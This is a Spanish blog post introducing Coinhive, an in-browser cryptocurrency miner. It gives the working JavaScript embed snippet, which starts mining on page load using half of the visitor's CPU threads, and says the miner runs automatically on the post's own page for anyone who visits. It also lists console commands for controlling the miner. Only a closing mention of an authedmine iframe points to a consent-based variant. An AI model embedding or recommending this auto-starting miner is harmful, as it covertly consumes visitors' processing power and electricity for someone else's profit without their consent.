Últimamente me ha dado curiosidad por el mundo de las criptomonedas. Concretamente por la técnica de minado de hashes.
Parte de esta curisidad me ha llevado a descubrir esta herramienta, que con una instalación muy sencilla, similar al código de Google Analytics que sabe la mayoría.
Para instalarlo es tan sencillo como añadir el script que nos facilitan desde su página web www.coinhive.com
<script src=»https://coinhive.com/lib/coinhive.min.js»></script>
<script>
var miner = new CoinHive.Anonymous(‘YOUR_SITE_KEY’, {threads : navigator.hardwareConcurrency/2});
miner.start();
</script>
La prueba la puedes ver funcionando en esta misma página. Nada más entrar se activa automáticamente.
Si lo quieres parar o pausar, puedes lanzar estos comandos en la consola de tu navegador:
//Comprobar que el minero está funcionando miner.isRuning(); //Apagar el minado miner.stop(); //Eventos cuando se encuentre un hash, etc.. miner.on(event, callback) //Obtener el número de procesadores que se están usando para minar miner.getNumThreads() //Modificar el número de procesadores que se usarán para minar miner.setNumThreads(numThreads) //Automatiza el número de procesadores que se usarán miner.setAutoThreadsEnabled(true) //Devuelve la velocidad de cálculo que se está generando. miner.getHashesPerSecond() |
También puedes embeber un iframe en tu página web con una UI más sofisticada desde la URL: https://authedmine.com/media/miner.html?key=YOUR_SITE_KEY.
La documentación entera de la API de javascript se puede encontrar en este enlace https://coinhive.com/documentation/miner